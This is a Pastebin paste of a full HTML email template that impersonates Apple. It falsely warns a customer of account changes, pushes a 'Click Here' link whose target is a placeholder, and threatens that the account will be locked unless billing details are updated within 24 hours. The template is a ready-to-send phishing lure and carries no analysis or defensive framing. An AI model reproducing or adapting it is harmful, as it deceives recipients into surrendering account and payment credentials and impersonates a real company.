Advertisement
yustinus30

Untitled

Jul 8th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.40 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta name="viewport" content="width=device-width">
  5. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  6. <style type="text/css">
  7. /*
  8. Changes to font size (14->16) for smaller screens
  9. table[class=body] is the only selector that works for all vendors
  10. */
  11. @media only screen and (max-width: 620px) {
  12. table[class=body] p,
  13. table[class=body] ul,
  14. table[class=body] ol,
  15. table[class=body] td,
  16. table[class=body] span,
  17. table[class=body] a {
  18. font-size: 16px !important;
  19. }
  20. /* remove padding for mobile so no gray shows */
  21. table[class=body] .bodycell {
  22. padding: 0 !important;
  23. width: 100% !important;
  24. }
  25. /* reduce padding from 20->10 for mobile */
  26. table[class=body] .maincell {
  27. padding: 10px !important;
  28. }
  29. }
  30. /*
  31. ExternalClass fixes Outlook.com / Hotmail emails
  32. */
  33. @media all {
  34. .ExternalClass {
  35. width: 100%;
  36. }
  37. .ExternalClass,
  38. .ExternalClass p,
  39. .ExternalClass span,
  40. .ExternalClass font,
  41. .ExternalClass td,
  42. .ExternalClass div {
  43. line-height: 100%;
  44. }
  45. }
  46. </style>
  47. </head>
  48. <!--
  49. background: white (could be gray)
  50. default sans serif fonts, 14px, 1.3, #444444
  51. vendor prefixes for Outlook (-ms) and iOS (-webkit)
  52. Margin is capitalized to fix Outlook.com
  53. -->
  54. <body class="" style="background-color:#ffffff; font-family:'Open Sans', 'Lucida Grande', 'Segoe UI', Arial, Verdana, 'Lucida Sans Unicode', Tahoma, 'Sans Serif'; font-size:14px; color: #444444; line-height:1.3; Margin:0; padding:0; -ms-text-size-adjust:100%; -webkit-font-smoothing:antialiased; -webkit-text-size-adjust:100%;">
  55.  
  56. <!-- body: background table (if body has a color, this should match) -->
  57. <table border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse:separate; background-color:#ffffff; width:100%; box-sizing:border-box; mso-table-lspace:0pt; mso-table-rspace:0pt;">
  58. <tr>
  59. <!-- width and max-width so it can scale for mobile -->
  60. <td class="bodycell" style="max-width:600px; width:100%; font-family:'Open Sans', 'Lucida Grande', 'Segoe UI', Arial, Verdana, 'Lucida Sans Unicode', Tahoma, 'Sans Serif'; font-size:14px; vertical-align:top; display:block; box-sizing:border-box; padding:10px; Margin:0 auto !important;">
  61.  
  62. <!-- for older versions of Outlook that don't support max-width -->
  63. <!--[if (gte mso 9)|(IE)]>
  64. <table width="600" align="center" cellpadding="0" cellspacing="0" border="0"><tr><td>
  65. <![endif]-->
  66.  
  67. <!-- main: white box for content -->
  68. <table class="main" style="background:#fff; width:100%; border-collapse:separate; mso-table-lspace:0pt; mso-table-rspace:0pt; ">
  69. <tr>
  70. <td class="maincell" style="font-family:sans-serif; font-size:14px; vertical-align:top; box-sizing:border-box; padding:20px;">
  71.  
  72.  
  73. <h4>
  74. Apple Inc
  75. </h4>
  76.  
  77. <p>
  78. Dear Costumer,<br/>
  79. <br> The following changes to your account, were made on July 8, 2018 :
  80. </p>
  81. <table border="0" style="border-collapse: collapse">
  82. <tr height="30px">
  83. <td></td>
  84. </tr>
  85. <tr >
  86. <td>
  87. <table border="0" style="font-size: 14px; color: #444444; background-color: #ffffff; font-family: 'Open Sans', 'Lucida Grande', 'Segoe UI', Arial, Verdana, 'Lucida Sans Unicode', Tahoma, 'Sans Serif';" valign="top" align="left">
  88. <tr>
  89. <td valign="bottom" align="left">
  90. <b>Billing Information</b>
  91. </td>
  92. </tr>
  93. <tr>
  94. <td valign="top" align="left">
  95. If you did not make these changes or you believe an unauthorized a person has accessed your account, we recommend that you go to Apple ID : <a href="gugelkampank" style="white-space: nowrap;">Click Here </a> for further assistance.
  96. </a>
  97. </td>
  98. </tr>
  99. </table>
  100. </td>
  101. </tr>
  102. </table>
  103.  
  104. <p><br>If you don't update billing information within 24 hours, your account will be locked</br></p>
  105.  
  106.  
  107.  
  108. </td>
  109. </tr>
  110. </table>
  111. <!-- /.main -->
  112.  
  113. <!-- logo: branding -->
  114. <table class="logo" style="width:100%; box-sizing:border-box; border-collapse:separate; mso-table-lspace:0pt; mso-table-rspace:0pt; ">
  115. <tr>
  116. <td class="logocell" style="text-align:center; vertical-align:top; box-sizing:border-box; padding:10px;">
  117. <IMG border=0 hspace=0 alt="" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRPlj-2ysiZ45X7ZyGC13CaleILw0xPSCqKSEt4wN7-UW_xQW4Y" width=53 height=48>
  118. </td>
  119. </tr>
  120. </table>
  121. <!-- /.logo -->
  122.  
  123. <!-- footer: gray text below main -->
  124. <table class="footer" style="width:100%; box-sizing:border-box; border-collapse:separate; mso-table-lspace:0pt; mso-table-rspace:0pt; ">
  125. <tr>
  126. <td class="footercell" style="font-family:sans-serif; font-size:14px; vertical-align:top; color:#a8b9c6; font-size:12px; text-align:center; padding:10px; box-sizing:border-box; ">
  127.  
  128. <a href="https://google.com">
  129. Apple ID | Support | Privacy Policy
  130. </a> &nbsp;&nbsp;
  131.  
  132. <br><a href="https://google.com" style="white-space: nowrap;">Copyright 2018 Apple Pty Ltd., All rights reserved </a>
  133.  
  134. </td>
  135. </tr>
  136. </table>
  137. <!-- /.footer -->
  138.  
  139. <!--[if (gte mso 9)|(IE)]>
  140. </td></tr></table>
  141. <![endif]-->
  142.  
  143. </td>
  144. </tr>
  145. </table>
  146. <!-- /.body -->
  147.  
  148. </body>
  149. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement